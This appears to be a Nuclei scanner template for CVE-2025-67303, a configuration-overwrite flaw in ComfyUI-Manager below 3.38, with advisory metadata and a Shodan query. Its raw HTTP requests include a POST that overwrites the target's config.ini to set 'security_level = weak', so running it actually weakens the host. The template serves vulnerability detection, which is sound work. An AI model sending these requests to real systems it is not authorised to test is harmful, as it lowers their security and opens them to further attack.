id: CVE-2025-67303

info:
  name: ComfyUI-Manager < 3.38 - Configuration Overwrite
  author: maciejklimek
  severity: critical
  description: |
    ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.
  impact: |
    Remote attackers can manipulate configuration and critical data, potentially compromising application integrity and security.
  remediation: |
    Update to version 3.38 or later.
  reference:
    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
    - https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/README.md
    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-67303
    epss-score: 0.01362
    epss-percentile: 0.69049
    cwe-id: CWE-420
  metadata:
    verified: true
    max-request: 3
    vendor: comfy-org
    product: comfyui-manager
    shodan-query: http.title:"ComfyUI"
  tags: cve,cve2025,comfyui,comfyui-manager,intrusive,vuln,vkev

http:
  - raw:
      - |
        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        [default]
        security_level = weak

      - |
        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body_1, '[default]', 'security_level')"
          - "contains(body_3, 'security_level = weak')"
          - "status_code_1 == 200 && status_code_3 == 200"
        condition: and
# digest: 4b0a00483046022100e90bb295eb676d8bf80d615fd59df7f0d58ed7759aa0f518bb513ea377fad3f7022100fc3d2c4fd7172b41d0bab2ece39d78264edb6986cf5ea69798db6c49cc60b467:922c64590222798bb761d5b6d8e72950